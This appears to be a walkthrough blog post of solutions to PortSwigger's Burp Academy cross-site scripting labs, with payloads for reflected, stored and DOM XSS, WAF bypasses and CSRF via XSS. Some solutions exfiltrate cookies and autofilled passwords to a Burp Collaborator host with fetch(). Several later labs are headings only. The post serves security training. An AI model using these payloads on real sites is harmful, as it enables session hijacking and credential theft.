In this post, we will go over my solutions to all cross-site scripting labs available in Burp Academy.
🧵⬇️
Table of Content
- Lab 01 - Reflected XSS into HTML context with nothing encoded
- Lab 02 - Stored XSS into HTML context with nothing encoded
- Lab 03 - DOM XSS in document.write sink using source location.search
- Lab 04 - DOM XSS in document.write sink using source location.search inside a select element
- Lab 05 - DOM XSS in innerHTML sink using source location.search
- Lab 06 - DOM XSS in jQuery anchor href attribute sink using location.search source
- Lab 07 - DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
- Lab 08 - Reflected DOM XSS
- Lab 09 - Stored DOM XSS
- Lab 10 - Exploiting cross-site scripting to steal cookies
- Lab 11 - Exploiting cross-site scripting to capture passwords
- Lab 12 - Exploiting stored XSS to perform CSRF
- Lab 13 - Reflected XSS into HTML context with most tags and attributes blocked
- Lab 14 - Reflected XSS into HTML context with all tags blocked except custom ones
- Lab 15 - Reflected XSS with event handlers and href attributes blocked
- Lab 16 - Reflected XSS with some SVG markup allowed
- Lab 17 - Reflected XSS into attribute with angle brackets HTML-encoded
- Lab 18 - Stored XSS into anchor href attribute with double quotes HTML-encoded
- Lab 19 - Reflected XSS in canonical link tag
- Lab 20 - Reflected XSS into a JavaScript string with single quote and backslash escaped
- Lab 21 - Reflected XSS into a JavaScript string with angle brackets HTML encoded
- Lab 22 - Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
- Lab 23 - Reflected XSS in a JavaScript URL with some characters blocked
- Lab 24 - Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
- Lab 25 - Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
- Lab 26 - Reflected XSS with AngularJS sandbox escape without strings
- Lab 27 - Reflected XSS with AngularJS sandbox escape and CSP
- Lab 28 - Reflected XSS protected by CSP, with dangling markup attack
- Lab 29 - Reflected XSS protected by very strict CSP, with dangling markup attack
- Lab 30 - Reflected XSS protected by CSP, with CSP bypass
Lab 01 - Reflected XSS into HTML context with nothing encoded
https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded
The user input in search bar is reflected to the user in the page without any encoding, therefore allowing to inject valid Javascript. This is the simplest case of reflected XSS.
Solution
<svg/onload=alert(1)>
Lab 02 - Stored XSS into HTML context with nothing encoded
https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded
The comment section in blog posts allow us to inject any special characters without any encoding, therefore allowing us to inject valid Javascript that will be interpreted by the browser of all readers of that specific post. This is the simplest case of stored XSS.
Solution
<svg/onload=alert(1)>
Lab 03 - DOM XSS in document.write sink using source location.search
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink
In this lab, we observe how injecting arbitray user input into the Document Object Model (DOM) can lead to XSS. This class of attack is called DOM-based XSS.
The following JavaScript function will take the input from the location.search
source (user data in the search
parameter) and will inject it to the document.write
sink:
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
As an attacker, we just need to escape from the enclosing double-quote "
and inject our XSS payload. For example, here we can use the onload
event inside the <img>
and trigger an alert.
Solution
" onload=alert(1) "
Lab 04 - DOM XSS in document.write sink using source location.search inside a select element
This lab is similar to the DOM XSS presented in lab 03. The user input will be injected to a document.write
sink without any sanitization.
Our payload will be written to the DOM as follows: <option selected>**PAYLOAD**</option>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
Solution
<script>alert(1)</script>
Lab 05 - DOM XSS in innerHTML sink using source location.search
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink
This lab is similar to the DOM XSS presented in lab 03. The user input will be injected to a innerHTML
sink instead.
Solution
<svg/onload=alert`1`>
Lab 06 - DOM XSS in jQuery anchor href attribute sink using location.search source
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-href-attribute-sink
Using JavaScript library such as jQuery can introduce other types of potentially vulnerable sinks. In this lab, we see that the following function will alter the DOM by passing the contents of the returnPath
parameter to the attr()
function/sink.
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>
Here are some other example of sinks that can be used to trigger DOM XSS:
The following jQuery functions are also sinks that can lead to DOM-XSS vulnerabilities:
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
Solution
javascript:alert(1)
Lab 07 - DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression
Another popular JavaScript framework commonly seen in modern webapps is Angular. One useful technique to know with Angular-enabled applications, is that it allows to trigger XSS without the need of angle brackets.
Angular searches for the ng-app
attribute (called a “directive”) in the HTML source. When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces.
Note: the library also introduces a sandboxing mechanism which protects from evaluate unsafe JavaScript expressions. Exploitation will depend on the Angular version, more on that in an another lab further down
Solution
{{constructor.constructor('alert(1)')()}}
Lab 08 - Reflected DOM XSS
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected
In this lab, the server processes our user input from the request, and echoes it data into the response. We identify the vulnerable sink eval()
and place a breakpoint try and understand the flow.
For now, we will use a dummy parameter value ?search=placeholder
. Our input is reflected as part of a JSON object in responseText
:
{
"results":[],
"searchTerm":"placeholder"
}
To trigger our XSS, we will need to escape from the string context and inject our payload. At first , we notice that the application automatically escapes any extra quotes by pre-pending an escape character \
.
However, it fails to escape the escaping character itself - therefore we can nullify its effect and inject our payload.
Solution
\\"-alert(1)}//
Lab 09 - Stored DOM XSS
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored
In this lab we see an example of an insecure way to sanitize user input in an attempt to prevent DOM XSS. The input sanitization function apples the escapeHTML()
function to user data before injecting in the DOM.
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
As we can see in the replace()
documentation:
The replace() method searches a string for a specified value, or a regular expression, and returns a new string where the specified values are replaced. Note: If you are replacing a value (and not a regular expression), only the first instance of the value will be replaced.
- https://www.w3schools.com/jsref/jsref_replace.asp
Therefore, only the first encountered <>
characters will be encoded.
Solution
<><img src=x onerror=alert()>
Lab 10 - Exploiting cross-site scripting to steal cookies
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies
In this lab, we see an example of how we can easily steal a victim’s cookies using a stored XSS.
It is important to note that this attack is possible because the web application does not secure session
cookies with the HttpOnly
flag. This flag tells the browser whether it should allow access to its cookie jar via Javascript.
In our case, the absence of the flag makes it trivial for our XSS payload to recover and exfiltrate the victim’s session cookies.
Note: there are known techniques to bypass HttpOnly flag but it is not in the scope of this exercise
Solution
<svg/onload=fetch('https://re93pd647tg98da5ko0fz75ep5vvjk.burpcollaborator.net',{method:'POST',mode:'no-cors',body:document.cookie})>
Lab 11 - Exploiting cross-site scripting to capture passwords
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords
In this lab, we see how we can steal a victim’s credentials by exploiting browsers autofill functionality.
Read more about this technique: https://ancat.github.io/xss/2017/01/08/stealing-plaintext-passwords.html
The stored XSS is again located in the comment section of the application. Our goal is to create a fake input
field that will induce the victim’s browser to autofill credentials that match for the website’s domain name.
Then, we exfiltrate the content by combining the onchange
event with a call to the fetch API to a domain under our control. This will send us the victim’s credentials as soon as the input field is filled with data.
Solution
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Lab 12 - Exploiting stored XSS to perform CSRF
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
In this lab we see how we can leverage a stored XSS to perform a CSRF attack on a victim. We are targetting the /change-email
functionnality to forcefully change the victim’s e-mail address to something under our control.
The web application uses anti-CSRF tokens to prevent such kinds of attacks, but we can extract it by leveraging a stored XSS located in the blog comments.
Victim requests the page containing the anti-CSRF token we want to extract (
/my-account
). The browser will automatically pass-on the user’s cookies (allowCredentials=true
)A second request is sent to modify the email address which will append both the session cookies and the
csrf
token extracted in step 1)
Solution
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open("get", "/my-account", true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open("post", "/my-account/change-email", true);
changeReq.send("csrf="+token+"&email=hacker@evil.com");
};
</script>
Lab 13 - Reflected XSS into HTML context with most tags and attributes blocked
The user input in search bar is reflected in the page but there is a WAF protection the application against common XSS payloads.
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 20
"Tag is not allowed"
We use Burp Intruder to check against a pre-compiled list of HTML tags to see what is blacklisted:
GET /?search=<§§>
in Intruder
<body(...)>
seems to pass the blacklist and is a known XSS vector
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 26
"Attribute is not allowed"
Now we need to do the same for attributes:
GET /?search=<body §§>
in Intruder where §§
is our injection point.
onresize
seems to be accepted and can be combined with body
to create a payload:
<body onresize="alert(1)">
All there is left to do is deliver the payload to the victim. It has to be interaction-free to pass the lab.
The user will load an iframe containing our rXSS payload which we will then proceed to trigger the onresize
event by changing its style.
<iframe src={lab instance url}/?search={URL encoded payload} onload=this.style.width='100px'>
Solution
<iframe src=https://ac1d1f931e6c53d0c0024e0200d10019.web-security-academy.net/?search=%3Cbody+onresize%3Dprint%28%29%3E onload=this.style.width='100px'>
Lab 14 - Reflected XSS into HTML context with all tags blocked except custom ones
Similar to previous lab except only custom tags are allowed.
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#onfocus
We can trigger a XSS with the onfocus(in|out) event handler.
Once again, we deliver it our payload to the victim with an iframe that will execute Javascript to focus on the <div>
upon loading.
<iframe src={lab instance url}/?search={URL encoded payload}#xss>
Payload:
<xss id=xss tabindex=1 onfocusin=alert(document.cookie)></xss>
Solution
<iframe src=https://ac6b1f4c1ea25374c01b644300f600bc.web-security-academy.net/?search=<xss id=xss tabindex=1 onfocusin=alert(document.cookie)></xss>#xss>
Lab 15 - Reflected XSS with event handlers and href attributes blocked
The user input in search bar is reflected in the page but there is a WAF protection the application against common XSS payloads. On top of that, all event handlers are blacklisted.
It is still possible to trigger XSS without the use of event tags. Generally, the technique relies on using anchor tags <a>
in combination with the href
attribute. Here href
as an attribute is blocked. However, we can trick the WAF by embedding it inside a <animate>
svg tag.
The WAF will not consider href
as an attribute and allow the request to go through, however, the victim’s browser will parse href
as if it was an attribute and execute the javascript:...
payload passed in values
.
Read https://blog.isec.pl/xss-fun-with-animated-svg/ for more details about this technique
Solution
Note: we need to label our vector with the word “Click” in order to induce the simulated lab user to perform a click action.
<svg><a><animate attributeName="href" values="javascript:alert(1)"></animate><text x="20" y="20">Click Me</text></a></svg>
Lab 16 - Reflected XSS with some SVG markup allowed
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-some-svg-markup-allowed
User input in the search bar is reflected on the page but there is a WAF protecting the application against common XSS payloads.
We are permitted to use <svg>
tags which is a common XSS vector.
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#svg
Solution
<svg><animatetransform onbegin=alert(1) attributeName=transform>
Lab 17 - Reflected XSS into attribute with angle brackets HTML-encoded
Lab 18 - Stored XSS into anchor href attribute with double quotes HTML-encoded
In this lab we see how it is possible to trigger an XSS while having the double quote "
character encoded by the application.
Our injection point is the content of the href
parameter which gets populated by the data in website
parameter when posting a comment. It is possible to use a JavaScript URL with the javascript:
prefix which will be interpreted by the browser.
Once a user clicks on the author of a post, the XSS will be triggered.
Solution
javascript:alert(1)
Lab 19 - Reflected XSS in canonical link tag
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-canonical-link-tag
This lab reflects user input in a canonical link tag and escapes angle brackets.
It is possible to induce a user into triggering XSS payloads in unexploitable tags such as : input hidden
, link
, canonical
by using the accesskey
attribute.
This requires user interaction, as the victim needs to press the required key to fire the payload.
Example:
<input type="hidden" accesskey="X" onclick="alert(1)">
Solution
On macOS, CTRL+OPTION+X
will trigger the onclick
event
https://<burp_instance_url>/?%27onclick=%27alert(1)%27accesskey=%27X
Lab 20 - Reflected XSS into a JavaScript string with single quote and backslash escaped
In this lab, the contents of the search
parameter is reflected inside a JavaScript string. The application attempt to defend against XSS by escaping both quotes '
and backslashes \
to prevent from breakout out of searchTerms
.
<script>
var searchTerms = '**PAYLOAD**';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
However, we are still able to inject tags! This allows us to break out of the JavaScript context entirely and inject whatever subsequent content we want.
Solution
</script><svg/onload=alert()>
Lab 21 - Reflected XSS into a JavaScript string with angle brackets HTML encoded
This lab is similar to the previous one, but this around angle brackets will be encoded. We just have to take the opposite approach and leverage the fact that we can break out of searchTerms
by inject single quotes.
<script>
var searchTerms = '**Payload**';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
Since our input will directly be injected in a JavaScript string context, we do not even need tags to execute JS code.
Solution
?search=';alert()//
Lab 22 - Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
This time around we are unable any of the following characters < > ' "
. Once again, the developers mistake was to forget also escaping the backslash character.
Solution
?search=\';alert();//
Lab 23 - Reflected XSS in a JavaScript URL with some characters blocked
Lab 24 - Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
Lab 25 - Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
Lab 26 - Reflected XSS with AngularJS sandbox escape without strings
Lab 27 - Reflected XSS with AngularJS sandbox escape and CSP
Lab 28 - Reflected XSS protected by CSP, with dangling markup attack
Lab 29 - Reflected XSS protected by very strict CSP, with dangling markup attack
Lab 30 - Reflected XSS protected by CSP, with CSP bypass
https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass